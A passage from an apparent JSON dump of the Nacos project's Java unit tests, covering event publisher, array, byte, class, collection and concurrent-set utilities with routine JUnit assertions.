when(subscriber.subscribeType()).thenReturn(TraceTestEvent.TraceTestEvent1.class);\n        traceEventPublisher.removeSubscriber(subscriber);\n        traceEventPublisher.publish(traceTestEvent1);\n        ThreadUtils.sleep(500L);\n        verify(subscriber, never()).onEvent(traceTestEvent1);\n        verify(smartSubscriber, never()).onEvent(traceTestEvent1);\n    }\n    \n    @Test\n    void getStatus() throws NacosException {\n        traceEventPublisher.publish(new TraceTestEvent());\n        traceEventPublisher.publish(new TraceTestEvent.TraceTestEvent1());\n        traceEventPublisher.publish(new TraceTestEvent.TraceTestEvent2());\n        String expectedStatus = \"Publisher TraceTestEvent                : shutdown=false, queue=      3/8      \";\n        assertEquals(traceEventPublisher.getStatus(), expectedStatus);\n        traceEventPublisher.addSubscriber(subscriber, TraceTestEvent.TraceTestEvent1.class);\n        ThreadUtils.sleep(2000L);\n        expectedStatus = \"Publisher TraceTestEvent                : shutdown=false, queue=      0/8      \";\n        assertEquals(traceEventPublisher.getStatus(), expectedStatus);\n        traceEventPublisher.shutdown();\n        expectedStatus = \"Publisher TraceTestEvent                : shutdown= true, queue=      0/8      \";\n        assertEquals(traceEventPublisher.getStatus(), expectedStatus);\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/trace/publisher/TraceTestEvent.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.trace.publisher;\n\nimport com.alibaba.nacos.common.notify.Event;\n\npublic class TraceTestEvent extends Event {\n    \n    private static final long serialVersionUID = 8568231862586636388L;\n    \n    static class TraceTestEvent1 extends TraceTestEvent {\n        \n        private static final long serialVersionUID = 4188906203345433816L;\n    }\n    \n    static class TraceTestEvent2 extends TraceTestEvent {\n        \n        private static final long serialVersionUID = -7358195336881398548L;\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/ArrayUtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * Test ArrayUtils.\n *\n * @author zzq\n */\nclass ArrayUtilsTest {\n    \n    Integer[] nullArr = null;\n    \n    Integer[] nothingArr = new Integer[] {};\n    \n    @Test\n    void testisEmpty() {\n        Integer[] arr = new Integer[] {1, 2};\n        assertTrue(ArrayUtils.isEmpty(nullArr));\n        assertTrue(ArrayUtils.isEmpty(nothingArr));\n        assertFalse(ArrayUtils.isEmpty(arr));\n    }\n    \n    @Test\n    void contains() {\n        assertFalse(ArrayUtils.contains(nullArr, \"a\"));\n        assertFalse(ArrayUtils.contains(nullArr, null));\n        assertFalse(ArrayUtils.contains(nothingArr, \"b\"));\n        Integer[] arr = new Integer[] {1, 2, 3};\n        assertFalse(ArrayUtils.contains(arr, null));\n        Integer[] arr1 = new Integer[] {1, 2, 3, null};\n        assertTrue(ArrayUtils.contains(arr1, null));\n        assertTrue(ArrayUtils.contains(arr, 1));\n        assertFalse(ArrayUtils.contains(arr, \"1\"));\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/ByteUtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport com.alibaba.nacos.common.utils.to.User;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * ByteUtils Test.\n *\n * @ClassName: ByteUtilsTest\n * @Author: ChenHao26\n * @Date: 2022/8/22 10:58\n */\nclass ByteUtilsTest {\n    \n    @Test\n    void objectToByte() {\n        User user = new User(1, \"google\");\n        byte[] bytes = ByteUtils.toBytes(user);\n        assertNotNull(bytes);\n    }\n    \n    @Test\n    void stringToByte() {\n        byte[] bytes = ByteUtils.toBytes(\"google\");\n        assertNotNull(bytes);\n    }\n    \n    @Test\n    void toStringTest() {\n        byte[] bytes = ByteUtils.toBytes(\"google\");\n        String str = ByteUtils.toString(bytes);\n        assertEquals(\"google\", str);\n    }\n    \n    @Test\n    void testForInputNull() {\n        assertEquals(0, ByteUtils.toBytes(null).length);\n        assertEquals(0, ByteUtils.toBytes((Object) null).length);\n        assertEquals(\"\", ByteUtils.toString(null));\n    }\n    \n    @Test\n    void isEmpty() {\n        byte[] bytes = ByteUtils.toBytes(\"\");\n        assertTrue(ByteUtils.isEmpty(bytes));\n        byte[] byte2 = new byte[1024];\n        assertFalse(ByteUtils.isEmpty(byte2));\n        byte[] byte3 = null;\n        assertTrue(ByteUtils.isEmpty(byte3));\n    }\n    \n    @Test\n    void isNotEmpty() {\n        byte[] bytes = ByteUtils.toBytes(\"google\");\n        assertTrue(ByteUtils.isNotEmpty(bytes));\n        byte[] bytes2 = ByteUtils.toBytes(\"\");\n        assertFalse(ByteUtils.isNotEmpty(bytes2));\n    }\n}\n\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/ClassUtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport org.junit.jupiter.api.Test;\n\nimport java.lang.reflect.Field;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ClassUtilsTest {\n    \n    @Test\n    void testFindClassByName1() {\n        Class<?> clazz = ClassUtils.findClassByName(\"java.lang.Integer\");\n        assertEquals(\"java.lang.Integer\", clazz.getName());\n    }\n    \n    @Test\n    void testFindClassByName2() {\n        assertThrows(NacosRuntimeException.class, () -> {\n            ClassUtils.findClassByName(\"not.exist.Class\");\n        });\n    }\n    \n    @Test\n    void testGetName() {\n        final String name = \"java.lang.Integer\";\n        Integer val = 1;\n        assertEquals(name, ClassUtils.getName(val));\n        assertEquals(name, ClassUtils.getName(Integer.class));\n        \n        assertEquals(name, ClassUtils.getCanonicalName(val));\n        assertEquals(name, ClassUtils.getCanonicalName(Integer.class));\n        \n        assertEquals(\"Integer\", ClassUtils.getSimpleName(val));\n        assertEquals(\"Integer\", ClassUtils.getSimpleName(Integer.class));\n    }\n    \n    @Test\n    void testIsAssignableFrom() {\n        assertTrue(ClassUtils.isAssignableFrom(Object.class, Integer.class));\n    }\n    \n    @Test\n    void testForNameArray() throws ClassNotFoundException {\n        Class clazz = ClassUtils.forName(\"[Lcom.alibaba.nacos.common.utils.ClassUtilsTest;\", null);\n        assertEquals(\"[Lcom.alibaba.nacos.common.utils.ClassUtilsTest;\", clazz.getName());\n        clazz = ClassUtils.forName(\"java.lang.String[]\", null);\n        assertEquals(\"[Ljava.lang.String;\", clazz.getName());\n        clazz = ClassUtils.forName(\"[[Ljava.lang.String;\", null);\n        assertEquals(\"[[Ljava.lang.String;\", clazz.getName());\n    }\n    \n    @Test\n    void testForNameNonExist() throws ClassNotFoundException {\n        assertThrows(ClassNotFoundException.class, () -> {\n            ClassUtils.forName(\"com.alibaba.nacos.common.NonExistClass\", null);\n        });\n    }\n    \n    @Test\n    void testForNameFromPrimitive() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {\n        Field field = ClassUtils.class.getDeclaredField(\"PRIMITIVE_TYPE_NAME_MAP\");\n        field.setAccessible(true);\n        Map<String, Class<?>> map = (Map<String, Class<?>>) field.get(null);\n        map.put(\"Test\", ClassUtilsTest.class);\n        assertEquals(ClassUtilsTest.class, ClassUtils.forName(\"Test\", null));\n    }\n    \n    @Test\n    void testGetDefaultClassLoader() {\n        ClassLoader cachedClassLoader = Thread.currentThread().getContextClassLoader();\n        try {\n            Thread.currentThread().setContextClassLoader(null);\n            assertNotNull(ClassUtils.getDefaultClassLoader());\n        } finally {\n            Thread.currentThread().setContextClassLoader(cachedClassLoader);\n        }\n    }\n    \n    @Test\n    void testClassPackageAsResourcePath() throws ClassNotFoundException {\n        Class noPackageClass = ClassUtils.forName(\"ClassUtilsTestMockClass\", null);\n        assertEquals(\"\", ClassUtils.classPackageAsResourcePath(null));\n        assertEquals(\"\", ClassUtils.classPackageAsResourcePath(noPackageClass));\n        assertEquals(\"com/alibaba/nacos/common/utils\", ClassUtils.classPackageAsResourcePath(ClassUtilsTest.class));\n    }\n    \n    @Test\n    void testConvertClassNameAndClassPath() {\n        String name = ClassUtilsTest.class.getName();\n        assertEquals(\"com/alibaba/nacos/common/utils/ClassUtilsTest\", ClassUtils.convertClassNameToResourcePath(name));\n        assertEquals(name, ClassUtils.resourcePathToConvertClassName(\"com/alibaba/nacos/common/utils/ClassUtilsTest\"));\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/CollectionUtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.Enumeration;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.Iterator;\nimport java.util.LinkedHashMap;\nimport java.util.LinkedHashSet;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.NoSuchElementException;\nimport java.util.Set;\nimport java.util.Vector;\nimport java.util.stream.Collectors;\nimport java.util.stream.IntStream;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * Unit test of CollectionUtil.\n *\n * @author <a href=\"mailto:jifeng.sun@outlook.com\">sunjifeng</a>\n */\nclass CollectionUtilsTest {\n    \n    @Test\n    void testGetList1() {\n        assertThrows(IndexOutOfBoundsException.class, () -> {\n            CollectionUtils.get(Collections.emptyList(), -1);\n        });\n    }\n    \n    @Test\n    void testGetList2() {\n        assertThrows(IndexOutOfBoundsException.class, () -> {\n            CollectionUtils.get(Collections.emptyList(), 1);\n        });\n    }\n    \n    @Test\n    void testGetList3() {\n        assertEquals(\"element\", CollectionUtils.get(Collections.singletonList(\"element\"), 0));\n        assertEquals(\"element2\", CollectionUtils.get(Arrays.asList(\"element1\", \"element2\"), 1));\n    }\n    \n    @Test\n    void testGetMap1() {\n        assertThrows(IndexOutOfBoundsException.class, () -> {\n            Map<String, String> map = new HashMap<>();\n            map.put(\"key1\", \"value1\");\n            CollectionUtils.get(map, -1);\n        });\n    }\n    \n    @Test\n    void testGetMap2() {\n        assertThrows(IndexOutOfBoundsException.class, () -> {\n            Map<String, String> map = new HashMap<>();\n            map.put(\"key1\", \"value1\");\n            CollectionUtils.get(map, -1);\n            CollectionUtils.get(map, 1);\n        });\n    }\n    \n    @Test\n    void testGetMap3() {\n        Map<String, String> map1 = new LinkedHashMap(1);\n        Map<String, String> map2 = new LinkedHashMap(2);\n        map1.put(\"key\", \"value\");\n        map2.put(\"key1\", \"value1\");\n        map2.put(\"key2\", \"value2\");\n        Iterator<Map.Entry<String, String>> iter = map1.entrySet().iterator();\n        assertEquals(iter.next(), CollectionUtils.get(map1, 0));\n        Iterator<Map.Entry<String, String>> iter2 = map2.entrySet().iterator();\n        iter2.next();\n        Map.Entry<String, String> second = iter2.next();\n        assertEquals(second, CollectionUtils.get(map2, 1));\n    }\n    \n    @Test\n    void testGetArray1() {\n        assertThrows(IndexOutOfBoundsException.class, () -> {\n            CollectionUtils.get(new Object[] {}, -1);\n        });\n    }\n    \n    @Test\n    void testGetArray2() {\n        assertThrows(IndexOutOfBoundsException.class, () -> {\n            CollectionUtils.get(new Object[] {}, 0);\n        });\n    }\n    \n    @Test\n    void testGetArray3() {\n        assertEquals(\"1\", CollectionUtils.get(new Object[] {\"1\"}, 0));\n        assertEquals(\"2\", CollectionUtils.get(new Object[] {\"1\", \"2\"}, 1));\n    }\n    \n    @Test\n    void testGetArray4() {\n        assertThrows(ArrayIndexOutOfBoundsException.class, () -> {\n            CollectionUtils.get(new int[] {}, 0);\n        });\n    }\n    \n    @Test\n    void testGetArray5() {\n        assertThrows(IndexOutOfBoundsException.class, () -> {\n            CollectionUtils.get(new int[] {}, -1);\n        });\n    }\n    \n    @Test\n    void testGetArray6() {\n        assertEquals(1, CollectionUtils.get(new int[] {1, 2}, 0));\n        assertEquals(2, CollectionUtils.get(new int[] {1, 2}, 1));\n    }\n    \n    @Test\n    void testGetIterator1() {\n        assertThrows(IndexOutOfBoundsException.class, () -> {\n            CollectionUtils.get(Collections.emptyIterator(), 0);\n        });\n    }\n    \n    @Test\n    void testGetIterator2() {\n        assertThrows(IndexOutOfBoundsException.class, () -> {\n            CollectionUtils.get(Collections.emptyIterator(), -1);\n        });\n    }\n    \n    @Test\n    void testGetIterator3() {\n        assertEquals(\"1\", CollectionUtils.get(Collections.singleton(\"1\").iterator(), 0));\n        assertEquals(\"2\", CollectionUtils.get(Arrays.asList(\"1\", \"2\").iterator(), 1));\n    }\n    \n    @Test\n    void testGetCollection1() {\n        assertThrows(IndexOutOfBoundsException.class, () -> {\n            CollectionUtils.get(Collections.emptySet(), 0);\n        });\n    }\n    \n    @Test\n    void testGetCollection2() {\n        assertThrows(IndexOutOfBoundsException.class, () -> {\n            CollectionUtils.get(Collections.emptySet(), -1);\n        });\n    }\n    \n    @Test\n    void testGetCollection3() {\n        assertEquals(\"1\", CollectionUtils.get(Collections.singleton(\"1\"), 0));\n        assertEquals(\"2\", CollectionUtils.get(CollectionUtils.set(\"1\", \"2\"), 1));\n    }\n    \n    @Test\n    void testGetEnumeration1() {\n        assertThrows(IndexOutOfBoundsException.class, () -> {\n            CollectionUtils.get(asEnumeration(Collections.emptyIterator()), 0);\n        });\n    }\n    \n    @Test\n    void testGetEnumeration2() {\n        assertThrows(IndexOutOfBoundsException.class, () -> {\n            CollectionUtils.get(asEnumeration(Collections.emptyIterator()), -1);\n        });\n    }\n    \n    @Test\n    void testGetEnumeration3() {\n        Vector<Object> vector = new Vector<>();\n        vector.add(\"1\");\n        vector.add(\"2\");\n        \n        assertEquals(\"1\", CollectionUtils.get(vector.elements(), 0));\n        assertEquals(\"2\", CollectionUtils.get(vector.elements(), 1));\n    }\n    \n    @Test\n    void testGet1() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            CollectionUtils.get(null, 0);\n        });\n    }\n    \n    @Test\n    void testGet2() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            CollectionUtils.get(\"string\", 0);\n        });\n    }\n    \n    @Test\n    void testSize() {\n        // collection\n        assertEquals(0, CollectionUtils.size(Collections.emptyList()));\n        assertEquals(1, CollectionUtils.size(Collections.singletonList(\"\")));\n        assertEquals(10, CollectionUtils.size(IntStream.range(0, 10).boxed().collect(Collectors.toList())));\n        \n        // map\n        Map<String, String> map = new HashMap<>();\n        map.put(\"key1\", \"value1\");\n        assertEquals(1, CollectionUtils.size(map));\n        map.put(\"key2\", \"value2\");\n        assertEquals(2, CollectionUtils.size(map));\n        map.put(\"key3\", \"value3\");\n        assertEquals(3, CollectionUtils.size(map));\n        \n        // array\n        assertEquals(1, CollectionUtils.size(new Object[] {\"1\"}));\n        assertEquals(2, CollectionUtils.size(new Object[] {\"1\", \"2\"}));\n        assertEquals(6, CollectionUtils.size(new Object[] {\"1\", \"2\", \"3\", \"4\", \"5\", \"6\"}));\n        assertEquals(1000, CollectionUtils.size(IntStream.range(0, 1000).boxed().toArray()));\n        \n        // primitive array\n        assertEquals(1, CollectionUtils.size(new int[] {1}));\n        assertEquals(2, CollectionUtils.size(new int[] {1, 2}));\n        assertEquals(6, CollectionUtils.size(new int[] {1, 2, 3, 4, 5, 6}));\n        assertEquals(1000, CollectionUtils.size(IntStream.range(0, 1000).toArray()));\n        \n        // iterator\n        assertEquals(1, CollectionUtils.size(Collections.singleton(\"1\").iterator()));\n        assertEquals(2, CollectionUtils.size(Arrays.asList(\"1\", \"2\").iterator()));\n        \n        // enumeration\n        assertEquals(0, CollectionUtils.size(asEnumeration(Collections.emptyIterator())));\n        assertEquals(1, CollectionUtils.size(asEnumeration(Collections.singleton(\"\").iterator())));\n    }\n    \n    @Test\n    void testSize1() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            CollectionUtils.size(null);\n        });\n    }\n    \n    @Test\n    void testSize2() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            CollectionUtils.size(\"string\");\n        });\n    }\n    \n    @Test\n    void testSizeIsEmpty() {\n        // collection\n        assertTrue(CollectionUtils.sizeIsEmpty(Collections.emptyList()));\n        assertFalse(CollectionUtils.sizeIsEmpty(Collections.singletonList(\"\")));\n        \n        // map\n        Map<String, String> map = new HashMap<>();\n        map.put(\"key1\", \"value1\");\n        map.put(\"key2\", \"value2\");\n        assertTrue(CollectionUtils.sizeIsEmpty(Collections.emptyMap()));\n        assertFalse(CollectionUtils.sizeIsEmpty(map));\n        \n        // array\n        assertTrue(CollectionUtils.sizeIsEmpty(new Object[] {}));\n        assertFalse(CollectionUtils.sizeIsEmpty(new Object[] {\"1\", \"2\"}));\n        \n        // primitive array\n        assertTrue(CollectionUtils.sizeIsEmpty(new int[] {}));\n        assertFalse(CollectionUtils.sizeIsEmpty(new int[] {1, 2}));\n        \n        // iterator\n        assertTrue(CollectionUtils.sizeIsEmpty(Collections.emptyIterator()));\n        assertFalse(CollectionUtils.sizeIsEmpty(Arrays.asList(\"1\", \"2\").iterator()));\n        \n        // enumeration\n        assertTrue(CollectionUtils.sizeIsEmpty(asEnumeration(Collections.emptyIterator())));\n        assertFalse(CollectionUtils.sizeIsEmpty(asEnumeration(Collections.singleton(\"\").iterator())));\n    }\n    \n    @Test\n    void testSizeIsEmpty1() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            CollectionUtils.sizeIsEmpty(null);\n        });\n    }\n    \n    @Test\n    void testSizeIsEmpty2() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            CollectionUtils.sizeIsEmpty(\"string\");\n        });\n    }\n    \n    @Test\n    void testContains() {\n        assertTrue(CollectionUtils.contains(Collections.singletonList(\"target\"), \"target\"));\n        assertFalse(CollectionUtils.contains(Collections.emptyList(), \"target\"));\n    }\n    \n    @Test\n    void testIsEmpty() {\n        assertFalse(CollectionUtils.isEmpty(Collections.singletonList(\"target\")));\n        assertTrue(CollectionUtils.isEmpty(Collections.emptyList()));\n        assertTrue(CollectionUtils.isEmpty(null));\n    }\n    \n    @Test\n    void testIsNotEmpty() {\n        assertTrue(CollectionUtils.isNotEmpty(Collections.singletonList(\"target\")));\n        assertFalse(CollectionUtils.isNotEmpty(Collections.emptyList()));\n        assertFalse(CollectionUtils.isNotEmpty(null));\n    }\n    \n    @Test\n    void testGetOrDefault() {\n        assertEquals(\"default\", CollectionUtils.getOrDefault(Collections.emptyList(), 1, \"default\"));\n        assertEquals(\"element\", CollectionUtils.getOrDefault(Collections.singletonList(\"element\"), 0, \"default\"));\n    }\n    \n    @Test\n    void testList() {\n        assertEquals(Arrays.asList(null, null, null), CollectionUtils.list(null, null, null));\n        assertEquals(Arrays.asList(\"\", \"a\", \"b\"), CollectionUtils.list(\"\", \"a\", \"b\"));\n        assertEquals(new ArrayList(), CollectionUtils.list());\n    }\n    \n    @Test\n    void testListNullPointerException() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            CollectionUtils.list(null);\n        });\n    }\n    \n    private <T> Enumeration<T> asEnumeration(final Iterator<T> iterator) {\n        if (iterator == null) {\n            throw new IllegalArgumentException(\"iterator cannot be null \");\n        }\n        return new Enumeration<T>() {\n            public boolean hasMoreElements() {\n                return iterator.hasNext();\n            }\n            \n            public T nextElement() {\n                return iterator.next();\n            }\n        };\n    }\n    \n    @Test\n    void testSet() {\n        Set<Object> set = new HashSet<>();\n        set.add(null);\n        assertEquals(set, CollectionUtils.set(null, null, null));\n        assertEquals(new LinkedHashSet(Arrays.asList(\"\", \"a\", \"b\")), CollectionUtils.set(\"\", \"a\", \"b\"));\n        assertEquals(new HashSet(), CollectionUtils.set());\n    }\n    \n    @Test\n    void testSetNullPointerException() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            CollectionUtils.set(null);\n        });\n    }\n    \n    @Test\n    void testGetOnlyElementIllegalArgumentException() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            List<Integer> list = Arrays.asList(1, 2, 3, 4, 5, 6);\n            CollectionUtils.getOnlyElement(list);\n        });\n    }\n    \n    @Test\n    void testGetOnlyElementIllegalArgumentException2() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            CollectionUtils.getOnlyElement(null);\n        });\n    }\n    \n    @Test\n    void testGetOnlyElementNoSuchElementException() {\n        assertThrows(NoSuchElementException.class, () -> {\n            List<Object> list = new ArrayList<>();\n            CollectionUtils.getOnlyElement(list);\n        });\n    }\n    \n    @Test\n    void testGetOnly() {\n        List<Integer> list = Arrays.asList(1);\n        int element = CollectionUtils.getOnlyElement(list);\n        assertEquals(1, element);\n    }\n    \n    @Test\n    void testIsMapEmpty() {\n        assertTrue(CollectionUtils.isMapEmpty(null));\n        assertTrue(CollectionUtils.isMapEmpty(Collections.emptyMap()));\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/ConcurrentHashSetTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ConcurrentModificationException;\nimport java.util.HashSet;\nimport java.util.Random;\nimport java.util.Set;\nimport java.util.concurrent.TimeUnit;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * ConcurrentHashSet Test.\n *\n * @ClassName: ConcurrentHashSetTest\n * @Author: ChenHao26\n * @Date: 2022/8/22 11:21\n */\nclass ConcurrentHashSetTest {\n    \n    @Test\n    void testBasicOps() {\n        Set<Integer> set = new ConcurrentHashSet<>();\n        \n        // addition\n        assertTrue(set.add(0));\n        assertTrue(set.add(1));\n        assertTrue(set.contains(0));\n        assertTrue(set.contains(1));\n        assertFalse(set.contains(-1));\n        assertEquals(2, set.size());\n        \n        // iter\n        for (int i : set) {\n            assertTrue(i == 0 || i == 1);\n        }\n        \n        // removal\n        assertTrue(set.remove(0));\n        assertFalse(set.remove(0));\n        assertFalse(set.contains(0));\n        assertTrue(set.contains(1));\n        assertEquals(1, set.size());\n        \n        // clear\n        assertFalse(set.isEmpty());\n        set.clear();\n        assertEquals(0, set.size());\n        assertTrue(set.isEmpty());\n    }\n    \n    @Test\n    void testMultiThread() throws Exception {\n        int count = 5;\n        SetMultiThreadChecker hashSetChecker = new SetMultiThreadChecker(new HashSet<>());\n        hashSetChecker.start();\n        while (!hashSetChecker.hasConcurrentError() && hashSetChecker.isRunning()) {\n            TimeUnit.SECONDS.sleep(1);\n            if (count <= 0) {\n                hashSetChecker.stop();\n            }\n            count--;\n        }\n        assertTrue(hashSetChecker.hasConcurrentError());\n        \n        count = 5;\n        SetMultiThreadChecker concurrentSetChecker = new SetMultiThreadChecker(new ConcurrentHashSet<>());\n        concurrentSetChecker.start();\n        while (!concurrentSetChecker.hasConcurrentError() && concurrentSetChecker.isRunning()) {\n            TimeUnit.SECONDS.sleep(1);\n            if (count == 0) {\n                concurrentSetChecker.stop();\n            }\n            count--;\n        }\n        assertFalse(concurrentSetChecker.hasConcurrentError());\n    }\n    \n    static class SetMultiThreadChecker {\n        \n        private final AddDataThread addThread;\n        \n        private final DeleteDataThread deleteThread;\n        \n        private final IteratorThread iteratorThread;\n        \n        public SetMultiThreadChecker(Set<Integer> setToCheck) {\n            for (int i = 0; i < 1000; i++) {\n                setToCheck.add(i);\n            }\n            this.addThread = new AddDataThread(setToCheck);\n            this.deleteThread = new DeleteDataThread(setToCheck);\n            this.iteratorThread = new IteratorThread(setToCheck);\n        }\n        \n        public void start() {\n            new Thread(addThread).start();\n            new Thread(deleteThread).start();\n            new Thread(iteratorThread).start();\n        }\n        \n        public boolean hasConcurrentError() {\n            return addThread.hasConcurrentError() || deleteThread.hasConcurrentError() || iteratorThread.hasConcurrentError();\n        }\n        \n        public boolean isRunning() {\n            return addThread.isRunning() || deleteThread.isRunning() || iteratorThread.isRunning();\n        }\n        \n        public void stop() {\n            addThread.stop();\n            deleteThread.stop();\n            iteratorThread.stop();\n        }\n        \n    }\n    \n    abstract static class ConcurrentCheckThread implements Runnable {\n        \n        protected final Set<Integer> hashSet;\n        \n        protected boolean concurrentError = false;\n        \n        protected boolean finish = false;\n        \n        public ConcurrentCheckThread(Set<Integer> hashSet) {\n            this.hashSet = hashSet;\n        }\n        \n        public boolean hasConcurrentError() {\n            return concurrentError;\n        }\n        \n        public void stop() {\n            finish = true;\n        }\n        \n        public boolean isRunning() {\n            return !finish;\n        }\n        \n        @Override\n        public void run() {\n            try {\n                while (isRunning()) {\n                    process();\n                }\n            } catch (ConcurrentModificationException e) {\n                concurrentError = true;\n            } finally {\n                finish = true;\n            }\n        }\n        \n        protected abstract void process();\n    }\n    \n    //add data thread\n    static class AddDataThread extends ConcurrentCheckThread implements Runnable {\n        \n        public AddDataThread(Set<Integer> hashSet) {\n            super(hashSet);\n        }\n        \n        @Override\n        protected void process() {\n            int random = new Random().nextInt(1000);\n            hashSet.add(random);\n        }\n        \n    }\n    \n    // delete data thread\n    static class DeleteDataThread extends ConcurrentCheckThread implements Runnable {\n        \n        public DeleteDataThread(Set<Integer> hashSet) {\n            super(hashSet);\n        }\n        \n        @Override\n        protected void process() {\n            int random = new Random().nextInt(1000);\n            hashSet.remove(random);\n        }\n        \n    }\n    \n    static class IteratorThread extends ConcurrentCheckThread implements Runnable {\n        \n        public IteratorThread(Set<Integer> hashSet) {\n            super(hashSet);\n        }\n        \n        @Override\n        public void run() {\n            System.out.println(\"start -- hashSet.size() : \" + hashSet.size());\n            Integer f = null;\n            try {\n                while (isRunning()) {\n                    for (Integer i : hashSet) {\n                        f = i;\n                    }\n                }\n            } catch (ConcurrentModificationException e) {\n                concurrentError = true;\n            } finally {\n                finish = true;\n            }\n            System.out.println(\"finished at \" + f);\n            System.out.println(\"end -- hashSet.size() : \" + hashSet.size());\n        }\n        \n        @Override\n        protected void process() {\n        }\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/ConnLabelsUtilsTest.java",
